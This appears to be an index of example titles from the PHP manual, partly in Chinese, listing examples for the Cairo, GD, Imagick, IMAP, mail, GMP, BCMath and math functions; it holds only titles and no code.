  • Example#3485 - 面向对象风格
  • Example#3486 - 过程化风格
  • Example#3487 - 面向对象风格
  • Example#3488 - 过程化风格
  • Example#3489 - 面向对象风格
  • Example#3490 - 过程化风格
  • Example#3491 - 面向对象风格
  • Example#3492 - 过程化风格
  • Example#3493 - 面向对象风格
  • Example#3494 - 过程化风格
  • Example#3495 - 面向对象风格
  • Example#3496 - 过程化风格
  • Example#3497 - 面向对象风格
  • Example#3498 - 过程化风格
  • Example#3499 - 面向对象风格
  • Example#3500 - 过程化风格
  • Example#3501 - 面向对象风格
  • Example#3502 - 过程化风格
  • Example#3503 - 面向对象风格
  • Example#3504 - 过程化风格
  • Example#3505 - 面向对象风格
  • Example#3506 - 过程化风格
  • Example#3507 - 面向对象风格
  • Example#3508 - 过程化风格
  • Example#3509 - 面向对象风格
  • Example#3510 - 过程化风格
  • Example#3511 - 面向对象风格
  • Example#3512 - 过程化风格
  • Example#3513 - 面向对象风格
  • Example#3514 - 过程化风格
  • Example#3515 - 面向对象风格
  • Example#3516 - 过程化风格
  • Example#3517 - 面向对象风格
  • Example#3518 - 过程化风格
  • Example#3519 - 面向对象风格
  • Example#3520 - 过程化风格
  • Example#3521 - 面向对象风格
  • Example#3522 - 过程化风格
  • Example#3523 - 面向对象风格
  • Example#3524 - 过程化风格
  • Example#3525 - 面向对象风格
  • Example#3526 - 过程化风格
  • Example#3527 - 面向对象风格
  • Example#3528 - 过程化风格
  • Example#3529 - 面向对象风格
  • Example#3530 - 过程化风格
  • Example#3531 - 面向对象风格
  • Example#3532 - 过程化风格
  • Example#3533 - 面向对象风格
  • Example#3534 - 过程化风格
  • Example#3535 - 面向对象风格
  • Example#3536 - 过程化风格
  • Example#3537 - 面向对象风格
  • Example#3538 - 过程化风格
  • Example#3539 - 面向对象风格
  • Example#3540 - 过程化风格
  • Example#3541 - 面向对象风格
  • Example#3542 - 过程化风格
  • Example#3543 - CairoSurface::createSimilar example
  • Example#3544 - CairoSurface::finish example
  • Example#3545 - CairoSurface::flush example
  • Example#3546 - CairoSurface::getContent example
  • Example#3547 - CairoSurface::getDeviceOffset example
  • Example#3548 - 面向对象风格
  • Example#3549 - 过程化风格
  • Example#3550 - CairoSurface::getType example
  • Example#3551 - CairoSurface::markDirty example
  • Example#3552 - CairoSurface::markDirtyRectangle example
  • Example#3553 - CairoSurface::setDeviceOffset example
  • Example#3554 - CairoSurface::setFallbackResolution example
  • Example#3555 - 面向对象风格
  • Example#3556 - 过程化风格
  • Example#3557 - 面向对象风格
  • Example#3558 - 过程化风格
  • Example#3559 - CairoSurface::writeToPng example
  • Example#3560 - CairoSvgSurface::__construct example
  • Example#3561 - CairoSvgSurface::getVersions example
  • Example#3562 - 过程化风格
  • Example#3563 - CairoSvgSurface::restrictToVersion example
  • Example#3564 - CairoSvgSurface::versionToString example
  • Example#3565 - CairoImageSurface::__construct example
  • Example#3566 - CairoImageSurface::createForData example
  • Example#3567 - CairoImageSurface::createFromPng example
  • Example#3568 - CairoImageSurface::getData example
  • Example#3569 - CairoImageSurface::getFormat example
  • Example#3570 - CairoImageSurface::getHeight example
  • Example#3571 - CairoImageSurface::getStride example
  • Example#3572 - CairoImageSurface::getWidth example
  • Example#3573 - CairoPdfSurface::__construct example
  • Example#3574 - CairoPdfSurface::setSize example
  • Example#3575 - CairoPsSurface::__construct example
  • Example#3576 - CairoPsSurface::dscBeginPageSetup example
  • Example#3577 - CairoPsSurface::dscBeginSetup example
  • Example#3578 - CairoPsSurface::dscComment example
  • Example#3579 - CairoPsSurface::getEps example
  • Example#3580 - CairoPsSurface::getLevels example
  • Example#3581 - CairoPsSurface::levelToString example
  • Example#3582 - CairoPsSurface::restrictToLevel example
  • Example#3583 - CairoPsSurface::setEps example
  • Example#3584 - CairoPsSurface::setSize example
  • Example#3585 - CairoFontFace::__construct example
  • Example#3586 - CairoFontFace::getType example
  • Example#3587 - 面向对象风格
  • Example#3588 - 过程化风格
  • Example#3589 - CairoFontOptions::__construct example
  • Example#3590 - CairoFontOptions::equal example
  • Example#3591 - 面向对象风格
  • Example#3592 - 过程化风格
  • Example#3593 - CairoFontOptions::getHintMetrics example
  • Example#3594 - CairoFontOptions::getHintStyle example
  • Example#3595 - CairoFontOptions::getSubpixelOrder example
  • Example#3596 - CairoFontOptions::hash example
  • Example#3597 - CairoFontOptions::merge example
  • Example#3598 - 面向对象风格
  • Example#3599 - 过程化风格
  • Example#3600 - CairoFontOptions::setHintMetrics example
  • Example#3601 - CairoFontOptions::setHintStyle example
  • Example#3602 - CairoFontOptions::setSubpixelOrder example
  • Example#3603 - 面向对象风格
  • Example#3604 - 过程化风格
  • Example#3605 - CairoScaledFont::__construct example
  • Example#3606 - CairoScaledFont::extents example
  • Example#3607 - CairoScaledFont::getCtm example
  • Example#3608 - 面向对象风格
  • Example#3609 - 过程化风格
  • Example#3610 - 面向对象风格
  • Example#3611 - 过程化风格
  • Example#3612 - 面向对象风格
  • Example#3613 - 过程化风格
  • Example#3614 - CairoScaledFont::getScaleMatrix example
  • Example#3615 - CairoScaledFont::getType example
  • Example#3616 - CairoScaledFont::glyphExtents example
  • Example#3617 - 面向对象风格
  • Example#3618 - 过程化风格
  • Example#3619 - 面向对象风格
  • Example#3620 - 过程化风格
  • Example#3621 - CairoPattern::__construct example
  • Example#3622 - 面向对象风格
  • Example#3623 - 过程化风格
  • Example#3624 - CairoPattern::getType example
  • Example#3625 - 面向对象风格
  • Example#3626 - 过程化风格
  • Example#3627 - 面向对象风格
  • Example#3628 - 过程化风格
  • Example#3629 - CairoGradientPattern::addColorStopRgb example
  • Example#3630 - CairoGradientPattern::addColorStopRgba example
  • Example#3631 - CairoGradientPattern::getColorStopCount example
  • Example#3632 - CairoGradientPattern::getColorStopRgba example
  • Example#3633 - CairoGradientPattern::getExtend example
  • Example#3634 - CairoGradientPattern::setExtend example
  • Example#3635 - CairoSolidPattern::__construct example
  • Example#3636 - CairoSolidPattern::getRgba example
  • Example#3637 - CairoSurfacePattern::__construct example
  • Example#3638 - CairoSurfacePattern::getExtend example
  • Example#3639 - CairoSurfacePattern::getFilter example
  • Example#3640 - CairoSurfacePattern::getSurface example
  • Example#3641 - CairoSurfacePattern::setExtend example
  • Example#3642 - CairoSurfacePattern::setFilter example
  • Example#3643 - CairoLinearGradient::__construct example
  • Example#3644 - CairoLinearGradient::getPoints example
  • Example#3645 - CairoRadialGradient::__construct example
  • Example#3646 - CairoRadialGradient::getCircles example
  • Example#3647 - CairoFormat::strideForWidth example
  • Example#3648 - 面向对象风格
  • Example#3649 - 过程化风格
  • Example#3650 - 面向对象风格
  • Example#3651 - 过程化风格
  • Example#3652 - 面向对象风格
  • Example#3653 - 过程化风格
  • Example#3654 - 面向对象风格
  • Example#3655 - 过程化风格
  • Example#3656 - 面向对象风格
  • Example#3657 - 过程化风格
  • Example#3658 - CairoMatrix::invert example
  • Example#3659 - CairoMatrix::multiply example
  • Example#3660 - 面向对象风格
  • Example#3661 - 过程化风格
  • Example#3662 - 面向对象风格
  • Example#3663 - 过程化风格
  • Example#3664 - CairoMatrix::transformDistance example
  • Example#3665 - CairoMatrix::transformPoint example
  • Example#3666 - 面向对象风格
  • Example#3667 - 过程化风格
  • Example#3668 - exif_imagetype 例子
  • Example#3669 - exif_read_data 例子
  • Example#3670 - exif_tagname 函数例程
  • Example#3671 - exif_thumbnail 例子
  • Example#3672 - 使用 PHP 创建 PNG 图像
  • Example#3673 - 使用 Alpha 通道为图像加水印
  • Example#3674 - 使用 imagecopymerge 函数创建半透明水印
  • Example#3675 - 使用 gd_info
  • Example#3676 - getimagesize（文件）
  • Example#3677 - getimagesize（URL）
  • Example#3678 - getimagesize() 和 MIME 类型
  • Example#3679 - getimagesize() 返回 IPTC
  • Example#3680 - getimagesize and MIME types
  • Example#3681 - getimagesize example
  • Example#3682 - getimagesize (URL)
  • Example#3683 - getimagesize() returning IPTC
  • Example#3684 - getimagesizefromstring 函数例程
  • Example#3685 - image_type_to_extension 例子
  • Example#3686 - image_type_to_mime_type (file)
  • Example#3687 - image2wbmp 例子
  • Example#3688 - imageaffinematrixconcat example
  • Example#3689 - imageaffinematrixget example
  • Example#3690 - imagealphablending usage example
  • Example#3691 - A comparison of two lines, one with anti-aliasing switched on
  • Example#3692 - 用 imagearc 画一个圆
  • Example#3693 - Saving a BMP file
  • Example#3694 - imagechar 例子
  • Example#3695 - imagecharup 例子
  • Example#3696 - imagecolorallocate 例子
  • Example#3697 - 使用 imagecolorallocatealpha 的例子
  • Example#3698 - Example of using imagecolorallocatealpha
  • Example#3699 - 取得各自的 RGB 值
  • Example#3700 - Search for a set of colors in an image
  • Example#3701 - 使用 imagecolorclosesthwb 的例子
  • Example#3702 - Get colors from the GD logo
  • Example#3703 - imagecolormatch 例子
  • Example#3704 - Using imagecoloresolvealpha to get colors from an image
  • Example#3705 - imagecolorsforindex 例子
  • Example#3706 - Embossing the PHP.net logo
  • Example#3707 - Gaussian blur
  • Example#3708 - 简单的例子
  • Example#3709 - 按比例对图像重新采样
  • Example#3710 - Resizing an image
  • Example#3711 - 新建一个新的 GD 图像流并输出图像
  • Example#3712 - Convert an BMP image to a PNG image using imagecreatefrombmp
  • Example#3713 - imagecreatefromgd2 例子
  • Example#3714 - imagecreatefromgd2part example
  • Example#3715 - imagecreatefromgd 例子
  • Example#3716 - 处理创建过程中的错误
  • Example#3717 - 处理创建过程中的错误
  • Example#3718 - 处理创建 PNG 过程中的错误
  • Example#3719 - imagecreatefromstring example
  • Example#3720 - 处理创建 WBMP 过程中的错误
  • Example#3721 - Convert an WebP image to a jpeg image using imagecreatefromwebp
  • Example#3722 - Convert an XBM image to a png image using imagecreatefromxbm
  • Example#3723 - Creating an image instance using imagecreatefromxpm
  • Example#3724 - 新建一个新的 GD 图像流并输出图像
  • Example#3725 - imagecrop example
  • Example#3726 - Proper handling of auto-cropping
  • Example#3727 - imageellipse 例子
  • Example#3728 - imagefill 例子
  • Example#3729 - 创建一 3D 效果的饼状图
  • Example#3730 - imagefilledellipse 例子
  • Example#3731 - imagefilledpolygon 例子
  • Example#3732 - imagefilter 灰度例子
  • Example#3733 - imagefilter 亮度例子
  • Example#3734 - imagefilter 上彩例子
  • Example#3735 - imagefilter grayscale example
  • Example#3736 - imagefilter brightness example
  • Example#3737 - imagefilter colorize example
  • Example#3738 - imagefilter negate example
  • Example#3739 - imagefilter pixelate example
  • Example#3740 - Flips an image vertically
  • Example#3741 - Flips the image horizontally
  • Example#3742 - imageftbbox example
  • Example#3743 - imagefttext example
  • Example#3744 - 输出一个 GD2 图像
  • Example#3745 - 保存 GD2 图像
  • Example#3746 - imagegetclip example
  • Example#3747 - 使用 imagegif 输出一个图像
  • Example#3748 - 使用 imagegif 将一个 PNG 转换成 GIF
  • Example#3749 - imagegrabscreen example
  • Example#3750 - imagegrabwindow example
  • Example#3751 - Simple detection of true color image instances using imageistruecolor
  • Example#3752 - 输出 JPEG 图像
  • Example#3753 - 保存一副 JPEG 图像
  • Example#3754 - 以 75% 的图像质量输出图像
  • Example#3755 - imagelayereffect example
  • Example#3756 - 画一条粗线
  • Example#3757 - 使用 imageloadfont
  • Example#3758 - imageopenpolygon example
  • Example#3759 - Converts any image resource to true color
  • Example#3760 - imagepolygon 例子
  • Example#3761 - imagepsbbox 用法
  • Example#3762 - imagepsencodefont example
  • Example#3763 - imagepsextendfont 例子
  • Example#3764 - imagepsfreefont 例子
  • Example#3765 - imagepsloadfont 例子
  • Example#3766 - imagepsslantfont example
  • Example#3767 - imagepstext 用法
  • Example#3768 - Setting and getting the resolution of an image
  • Example#3769 - 将图像旋转 180 度
  • Example#3770 - imagesavealpha 例子
  • Example#3771 - imagesetinterpolation example
  • Example#3772 - imagesetstyle 例子
  • Example#3773 - imagesetthickness example
  • Example#3774 - imagestring 例子
  • Example#3775 - 使用 imagesx
  • Example#3776 - 使用 imagesy
  • Example#3777 - Converting a true color image to a palette-based image
  • Example#3778 - imagettftext 例子
  • Example#3779 - imagetypes 例子
  • Example#3780 - 保存为 WebP 图像文件
  • Example#3781 - 保存一个 XBM 文件
  • Example#3782 - 以不同前景色保存一个 XBM 文件
  • Example#3783 - Embedding IPTC data into a JPEG
  • Example#3784 - iptcparse() used together with getimagesize
  • Example#3785 - jpeg2wbmp 例子
  • Example#3786 - png2wbmp 例子
  • Example#3787 - Gmagick Example
  • Example#3788 - Gmagick::despeckleimage example
  • Example#3789 - Gmagick::setCompressionQuality
  • Example#3790 - Creating a thumbnail in Imagick
  • Example#3791 - Make a thumbnail of all JPG files in a directory
  • Example#3792 - Creating a reflection of an image
  • Example#3793 - Filling text with gradient
  • Example#3794 - Read in GIF image and resize all frames
  • Example#3795 - Create a PHP logo
  • Example#3796 - Using Imagick::adaptiveBlurImage:
  • Example#3797 - Using Imagick::adaptiveResizeImage
  • Example#3798 - A Imagick::adaptiveSharpenImage example
  • Example#3799 - Imagick::adaptiveThresholdImage
  • Example#3800 - Imagick::addNoiseImage
  • Example#3801 - Imagick::affineTransformImage
  • Example#3802 - Using Imagick::annotateImage:
  • Example#3803 - Imagick::appendImages example
  • Example#3804 - Imagick::autoLevelImage
  • Example#3805 - Imagick::blackThresholdImage
  • Example#3806 - Imagick::blueShiftImage
  • Example#3807 - Using Imagick::blurImage:
  • Example#3808 - Imagick::borderImage
  • Example#3809 - Imagick::brightnessContrastImage
  • Example#3810 - Imagick::charcoalImage
  • Example#3811 - Using Imagick::chopImage:
  • Example#3812 - Imagick object cloning in different versions of imagick
  • Example#3813 - Using Imagick::clutImage:
  • Example#3814 - Imagick::colorizeImage
  • Example#3815 - Imagick::colorMatrixImage
  • Example#3816 - Using Imagick::commentImage:
  • Example#3817 - Using Imagick::compareImageLayers
  • Example#3818 - Using Imagick::compareImages:
  • Example#3819 - Imagick::contrastImage
  • Example#3820 - Imagick::convolveImage
  • Example#3821 - Imagick::cropImage
  • Example#3822 - Imagick::deskewImage
  • Example#3823 - Imagick::despeckleImage
  • Example#3824 - Using Imagick::distortImage:
  • Example#3825 - Imagick::edgeImage
  • Example#3826 - Imagick::embossImage
  • Example#3827 - Imagick::enhanceImage
  • Example#3828 - Imagick::equalizeImage
  • Example#3829 - Using Imagick::evaluateImage
  • Example#3830 - Using Imagick::exportImagePixels
  • Example#3831 - Imagick::filter
  • Example#3832 - Imagick::flipImage
  • Example#3833 - Imagick::floodfillPaintImage example
  • Example#3834 - Imagick::flopImage
  • Example#3835 - Imagick::forwardFourierTransformImage
  • Example#3836 - Imagick::frameImage
  • Example#3837 - Create a sinusoidal gradient
  • Example#3838 - Create a gradient from the polynomial (4x^2 - 4x + 1)
  • Example#3839 - Create a complex gradient from the polynomial (4x^2 - 4x^2 + 1) modulated by a sinusoidal gradient
  • Example#3840 - Imagick::fxImage
  • Example#3841 - Imagick::gammaImage
  • Example#3842 - Imagick::gaussianBlurImage
  • Example#3843 - Imagick::getImageGeometry
  • Example#3844 - Generates Imagick::getImageHistogram
  • Example#3845 - Using Imagick::getImageLength:
  • Example#3846 - Using Imagick::getImageProperties:
  • Example#3847 - Using Imagick::getImageProperty:
  • Example#3848 - Using Imagick::getIteratorIndex:
  • Example#3849 - Imagick::getPixelIterator
  • Example#3850 - Imagick::getPixelRegionIterator example
  • Example#3851 - Getting the size of a raw RGB image set at 200x400, after scaling to 400x800 (compared to width / height)
  • Example#3852 - Imagick::haldClutImage
  • Example#3853 - Imagick::identifyFormat
  • Example#3854 - Example Result Format
  • Example#3855 - Imagick::implodeImage
  • Example#3856 - Imagick::importImagePixels example
  • Example#3857 - Imagick::levelImage
  • Example#3858 - Imagick::linearStretchImage
  • Example#3859 - Imagick::magnifyImage
  • Example#3860 - Imagick::medianFilterImage
  • Example#3861 - Imagick::mergeImageLayers
  • Example#3862 - Imagick::modulateImage
  • Example#3863 - Convolve Imagick::morphology
  • Example#3864 - Correlate Imagick::morphology
  • Example#3865 - Erode Imagick::morphology
  • Example#3866 - Erode Intensity Imagick::morphology
  • Example#3867 - Dilate Imagick::morphology
  • Example#3868 - Dilate intensity Imagick::morphology
  • Example#3869 - Distance with Chebyshev kernel Imagick::morphology
  • Example#3870 - Distance with Manhattan kernel Imagick::morphology
  • Example#3871 - Distance with ocatagonal kernel Imagick::morphology
  • Example#3872 - Distance with Euclidean kernel Imagick::morphology
  • Example#3873 - Edge Imagick::morphology
  • Example#3874 - Open Imagick::morphology
  • Example#3875 - Open intensity Imagick::morphology
  • Example#3876 - Close Imagick::morphology
  • Example#3877 - Close Intensity Imagick::morphology
  • Example#3878 - Smooth Imagick::morphology
  • Example#3879 - Edge in Imagick::morphology
  • Example#3880 - Edge out Imagick::morphology
  • Example#3881 - The 'TopHat' method, or more specifically 'White Top Hat', returns the pixels that were removed by a Opening of the shape, that is the pixels that were removed to round off the points, and the connecting bridged between shapes. Imagick::morphology
  • Example#3882 - The 'BottomHat' method, also known as 'Black TopHat' is the pixels that a Closing of the shape adds to the image. That is the pixels that were used to fill in the 'holes', 'gaps', and 'bridges'. Imagick::morphology
  • Example#3883 - Hit and Miss Imagick::morphology
  • Example#3884 - Thinning Imagick::morphology
  • Example#3885 - Thicken Imagick::morphology
  • Example#3886 - Thick to generate a convex hull Imagick::morphology
  • Example#3887 - Iterative morphology Imagick::morphology
  • Example#3888 - Helper functon to get an image silhouette Imagick::morphology
  • Example#3889 - Imagick::motionBlurImage
  • Example#3890 - Imagick::negateImage
  • Example#3891 - Using Imagick::newImage:
  • Example#3892 - Imagick::newPseudoImage
  • Example#3893 - Imagick::normalizeImage
  • Example#3894 - Imagick::oilPaintImage
  • Example#3895 - Using Imagick::optimizeImageLayers
  • Example#3896 - Imagick::orderedPosterizeImage
  • Example#3897 - Using Imagick::pingImageBlob
  • Example#3898 - Using Imagick::pingImageFile
  • Example#3899 - A Imagick::polaroidImage example
  • Example#3900 - Imagick::posterizeImage
  • Example#3901 - Imagick::quantizeImage
  • Example#3902 - Using Imagick::queryFontMetrics:
  • Example#3903 - Imagick::queryFonts
  • Example#3904 - Imagick::queryFormats
  • Example#3905 - Imagick::radialBlurImage
  • Example#3906 - Imagick::raiseImage
  • Example#3907 - Imagick::randomThresholdImage
  • Example#3908 - Imagick::readImageBlob
  • Example#3909 - Imagick::recolorImage
  • Example#3910 - Imagick::reduceNoiseImage
  • Example#3911 - Imagick::resampleImage
  • Example#3912 - Imagick::resizeImage
  • Example#3913 - Imagick::rollImage
  • Example#3914 - Imagick::rotateImage
  • Example#3915 - Imagick::rotationalBlurImage
  • Example#3916 - Using Imagick::roundCorners:
  • Example#3917 - Imagick::scaleImage
  • Example#3918 - Imagick::segmentImage
  • Example#3919 - Imagick::selectiveBlurImage
  • Example#3920 - Imagick::separateImageChannel
  • Example#3921 - Imagick::sepiaToneImage
  • Example#3922 - Imagick::setCompressionQuality
  • Example#3923 - A Imagick::setFont example
  • Example#3924 - A Imagick::setImage example
  • Example#3925 - Imagick::setImageArtifact
  • Example#3926 - Imagick::setImageBias
  • Example#3927 - Imagick::setImageClipMask
  • Example#3928 - Modify animated Gif with Imagick::setImageDelay
  • Example#3929 - Basic Imagick::setImageIterations usage
  • Example#3930 - A Imagick::setImageOpacity example
  • Example#3931 - Imagick::setImageOrientation
  • Example#3932 - Using Imagick::setImageProperty:
  • Example#3933 - Imagick::setImageResolution
  • Example#3934 - Modify animated Gif with Imagick::setImageTicksPerSecond
  • Example#3935 - Using Imagick::setIteratorIndex:
  • Example#3936 - Attempt to reach '$extent' sizeImagick::setOption
  • Example#3937 - Imagick::setOption
  • Example#3938 - Imagick::setOption
  • Example#3939 - A Imagick::setPointSize example
  • Example#3940 - Imagick::setProgressMonitor
  • Example#3941 - Imagick::setSamplingFactors
  • Example#3942 - Imagick::shadeImage
  • Example#3943 - Imagick::shadowImage
  • Example#3944 - Imagick::sharpenImage
  • Example#3945 - Imagick::shaveImage
  • Example#3946 - Imagick::shearImage
  • Example#3947 - Create a gradient image using Imagick::sigmoidalContrastImage suitable for blending two images together smoothly, with the blending defined by $contrast and $the midpoint
  • Example#3948 - Imagick::sketchImage
  • Example#3949 - Imagick::smushImages
  • Example#3950 - Imagick::solarizeImage
  • Example#3951 - SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage
  • Example#3952 - SPARSECOLORMETHOD_BILINEAR Imagick::sparseColorImage
  • Example#3953 - SPARSECOLORMETHOD_SPEPARDS Imagick::sparseColorImage
  • Example#3954 - SPARSECOLORMETHOD_VORONOI Imagick::sparseColorImage
  • Example#3955 - SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage
  • Example#3956 - createGradientImage is used by other examples. Imagick::sparseColorImage
  • Example#3957 - Imagick::spliceImage
  • Example#3958 - Imagick::spreadImage
  • Example#3959 - Imagick::statisticImage
  • Example#3960 - Imagick::subImageMatch
  • Example#3961 - Imagick::swirlImage
  • Example#3962 - Imagick::textureImage
  • Example#3963 - Imagick::thresholdImage
  • Example#3964 - Imagick::thumbnailImage
  • Example#3965 - Imagick::tintImage
  • Example#3966 - Using Imagick::transformImage:
  • Example#3967 - Imagick::transformImageColorspace example
  • Example#3968 - Imagick::transformImageColorspace
  • Example#3969 - Imagick::transparentPaintImage
  • Example#3970 - Imagick::transposeImage
  • Example#3971 - Imagick::transverseImage
  • Example#3972 - Using Imagick::trimImage:
  • Example#3973 - Imagick::uniqueImageColors
  • Example#3974 - Imagick::unsharpMaskImage
  • Example#3975 - Imagick::vignetteImage
  • Example#3976 - WaveImage can be quite slow Imagick::waveImage
  • Example#3977 - Imagick::whiteThresholdImage
  • Example#3978 - ImagickDraw::affine
  • Example#3979 - ImagickDraw::arc
  • Example#3980 - ImagickDraw::bezier
  • Example#3981 - ImagickDraw::circle
  • Example#3982 - ImagickDraw::composite
  • Example#3983 - ImagickDraw::ellipse
  • Example#3984 - ImagickDraw::line
  • Example#3985 - ImagickDraw::matte
  • Example#3986 - ImagickDraw::pathCurveToQuadraticBezierAbsolute
  • Example#3987 - ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute
  • Example#3988 - ImagickDraw::pathCurveToQuadraticBezierSmoothRelative
  • Example#3989 - ImagickDraw::pathStart
  • Example#3990 - ImagickDraw::point
  • Example#3991 - ImagickDraw::polygon
  • Example#3992 - ImagickDraw::polyline
  • Example#3993 - ImagickDraw::popDefs
  • Example#3994 - ImagickDraw::push
  • Example#3995 - ImagickDraw::pushPattern
  • Example#3996 - ImagickDraw::rectangle
  • Example#3997 - ImagickDraw::rotate
  • Example#3998 - ImagickDraw::roundRectangle
  • Example#3999 - ImagickDraw::scale
  • Example#4000 - ImagickDraw::setClipPath
  • Example#4001 - ImagickDraw::setClipRule
  • Example#4002 - ImagickDraw::setClipUnits
  • Example#4003 - ImagickDraw::setFillAlpha
  • Example#4004 - ImagickDraw::setFillColor
  • Example#4005 - ImagickDraw::setFillOpacity
  • Example#4006 - ImagickDraw::setFillRule
  • Example#4007 - ImagickDraw::setFont
  • Example#4008 - ImagickDraw::setFontFamily
  • Example#4009 - ImagickDraw::setFontSize
  • Example#4010 - ImagickDraw::setFontStretch
  • Example#4011 - ImagickDraw::setFontStyle
  • Example#4012 - ImagickDraw::setFontWeight
  • Example#4013 - ImagickDraw::setGravity
  • Example#4014 - ImagickDraw::setStrokeAlpha
  • Example#4015 - ImagickDraw::setStrokeAntialias
  • Example#4016 - ImagickDraw::setStrokeColor
  • Example#4017 - ImagickDraw::setStrokeDashArray
  • Example#4018 - ImagickDraw::setStrokeDashOffset
  • Example#4019 - ImagickDraw::setStrokeLineCap
  • Example#4020 - ImagickDraw::setStrokeLineJoin
  • Example#4021 - ImagickDraw::setStrokeMiterLimit
  • Example#4022 - ImagickDraw::setStrokeOpacity
  • Example#4023 - ImagickDraw::setStrokeWidth
  • Example#4024 - ImagickDraw::setTextAlignment
  • Example#4025 - ImagickDraw::setTextAntialias
  • Example#4026 - ImagickDraw::setTextDecoration
  • Example#4027 - ImagickDraw::setTextUnderColor
  • Example#4028 - ImagickDraw::setVectorGraphics
  • Example#4029 - ImagickDraw::setViewBox
  • Example#4030 - ImagickDraw::skewX
  • Example#4031 - ImagickDraw::skewY
  • Example#4032 - ImagickDraw::translate
  • Example#4033 - ImagickPixel::construct
  • Example#4034 - Basic Imagick::getColor usage
  • Example#4035 - Basic Imagick::getColorAsString usage
  • Example#4036 - ImagickPixel getColorCount
  • Example#4037 - Basic Imagick::getColorValue usage
  • Example#4038 - ImagickPixel::getColorValueQuantum
  • Example#4039 - Basic Imagick::getHSL example
  • Example#4040 - ImagickPixel::isSimilar
  • Example#4041 - ImagickPixel::setColor
  • Example#4042 - Basic Imagick::setColorValue usage
  • Example#4043 - ImagickPixel::setColorValueQuantum
  • Example#4044 - Use ImagickPixel::setHSL to modify a color
  • Example#4045 - ImagickPixelIterator::clear
  • Example#4046 - ImagickPixelIterator::construct
  • Example#4047 - ImagickPixelIterator::getNextIteratorRow
  • Example#4048 - ImagickPixelIterator::resetIterator
  • Example#4049 - ImagickPixelIterator::setIteratorRow
  • Example#4050 - imap_append example
  • Example#4051 - imap_check example
  • Example#4052 - imap_createmailbox example
  • Example#4053 - imap_delete example
  • Example#4054 - imap_fetch_overview example
  • Example#4055 - imap_gc example
  • Example#4056 - imap_get_quota example
  • Example#4057 - imap_get_quota 4.3 or greater example
  • Example#4058 - imap_get_quotaroot example
  • Example#4059 - imap_getacl example
  • Example#4060 - imap_getmailboxes example
  • Example#4061 - imap_list example
  • Example#4062 - imap_mail_compose example
  • Example#4063 - imap_mailboxmsginfo example
  • Example#4064 - imap_mime_header_decode example
  • Example#4065 - Different use of imap_open
  • Example#4066 - imap_open example
  • Example#4067 - imap_ping Example
  • Example#4068 - imap_reopen example
  • Example#4069 - imap_rfc822_parse_adrlist example
  • Example#4070 - imap_rfc822_write_address example
  • Example#4071 - imap_search example
  • Example#4072 - imap_set_quota example
  • Example#4073 - imap_setflag_full example
  • Example#4074 - imap_status example
  • Example#4075 - imap_thread Example
  • Example#4076 - imap_timeout example
  • Example#4077 - 计算散列值并订阅一个用户
  • Example#4078 - Sending mail.
  • Example#4079 - Sending mail with extra headers.
  • Example#4080 - Sending mail with an additional command line parameter.
  • Example#4081 - Sending HTML email
  • Example#4082 - mailparse_determine_best_xfer_encoding example
  • Example#4083 - mailparse_rfc822_parse_addresses example
  • Example#4084 - mailparse_stream_encode example
  • Example#4085 - mailparse_uudecode_all example
  • Example#4086 - bcadd 示例
  • Example#4087 - bccomp example
  • Example#4088 - bcdiv 示例
  • Example#4089 - bcmod example
  • Example#4090 - bcmul 示例
  • Example#4091 - bcpow 示例
  • Example#4092 - bcpow scale example
  • Example#4093 - bcscale example
  • Example#4094 - bcsqrt 示例
  • Example#4095 - bcsub example
  • Example#4096 - Factorial function using GMP
  • Example#4097 - gmp_abs example
  • Example#4098 - gmp_add example
  • Example#4099 - gmp_and example
  • Example#4100 - gmp_clrbit example
  • Example#4101 - gmp_cmp example
  • Example#4102 - gmp_com example
  • Example#4103 - gmp_div_q example
  • Example#4104 - Division of GMP numbers
  • Example#4105 - gmp_div_r example
  • Example#4106 - gmp_divexact example
  • Example#4107 - gmp_export example
  • Example#4108 - gmp_fact example
  • Example#4109 - gmp_gcd example
  • Example#4110 - Solving a linear Diophantine equation
  • Example#4111 - gmp_hamdist example
  • Example#4112 - gmp_import example
  • Example#4113 - Creating GMP number
  • Example#4114 - gmp_intval example
  • Example#4115 - gmp_invert example
  • Example#4116 - gmp_jacobi example
  • Example#4117 - gmp_legendre example
  • Example#4118 - gmp_mod example
  • Example#4119 - gmp_mul example
  • Example#4120 - gmp_neg example
  • Example#4121 - gmp_nextprime example
  • Example#4122 - gmp_or example
  • Example#4123 - gmp_perfect_square example
  • Example#4124 - gmp_popcount example
  • Example#4125 - gmp_pow example
  • Example#4126 - gmp_powm example
  • Example#4127 - gmp_prob_prime example
  • Example#4128 - gmp_random_bits example
  • Example#4129 - gmp_random_range example
  • Example#4130 - gmp_random_seed example
  • Example#4131 - gmp_random example
  • Example#4132 - gmp_scan0 example
  • Example#4133 - gmp_scan1 example
  • Example#4134 - gmp_setbit example - 0 index
  • Example#4135 - gmp_setbit example - 1 index
  • Example#4136 - gmp_setbit example - clearing a bit
  • Example#4137 - gmp_sign example
  • Example#4138 - gmp_sqrt example
  • Example#4139 - gmp_sqrtrem example
  • Example#4140 - Converting a GMP number to a string
  • Example#4141 - gmp_sub example
  • Example#4142 - gmp_testbit example
  • Example#4143 - gmp_xor example
  • Example#4144 - Using Lapack::eigenValues:
  • Example#4145 - Using Lapack::leastSquaresByFactorisation:
  • Example#4146 - Using Lapack::leastSquaresBySVD:
  • Example#4147 - Using Lapack::pseudoInverse:
  • Example#4148 - Using Lapack::singularValues:
  • Example#4149 - Using Lapack::singularValues:
  • Example#4150 - abs 例子
  • Example#4151 - base_convert 例子
  • Example#4152 - bindec 例子
  • Example#4153 - bindec 将输入解读为无符号整数
  • Example#4154 - ceil 例子
  • Example#4155 - cos 例子
  • Example#4156 - decbin 例子
  • Example#4157 - dechex 例子
  • Example#4158 - 大整数的 dechex 例子
  • Example#4159 - decoct 范例
  • Example#4160 - deg2rad 例子
  • Example#4161 - exp 例子
  • Example#4162 - floor 例子
  • Example#4163 - fmod 的使用
  • Example#4164 - hexdec 例子
  • Example#4165 - intdiv 的一些例子
  • Example#4166 - is_nan 例子
  • Example#4167 - 使用 max 的例子
  • Example#4168 - min 用法的例子
  • Example#4169 - 计算一个随机浮点数
  • Example#4170 - mt_rand 例子
  • Example#4171 - mt_srand 例子
  • Example#4172 - octdec 例子
  • Example#4173 - pi 例子
  • Example#4174 - pow 的一些例子
  • Example#4175 - rad2deg 例子
  • Example#4176 - rand 例子
  • Example#4177 - round 例子
  • Example#4178 - mode 例子
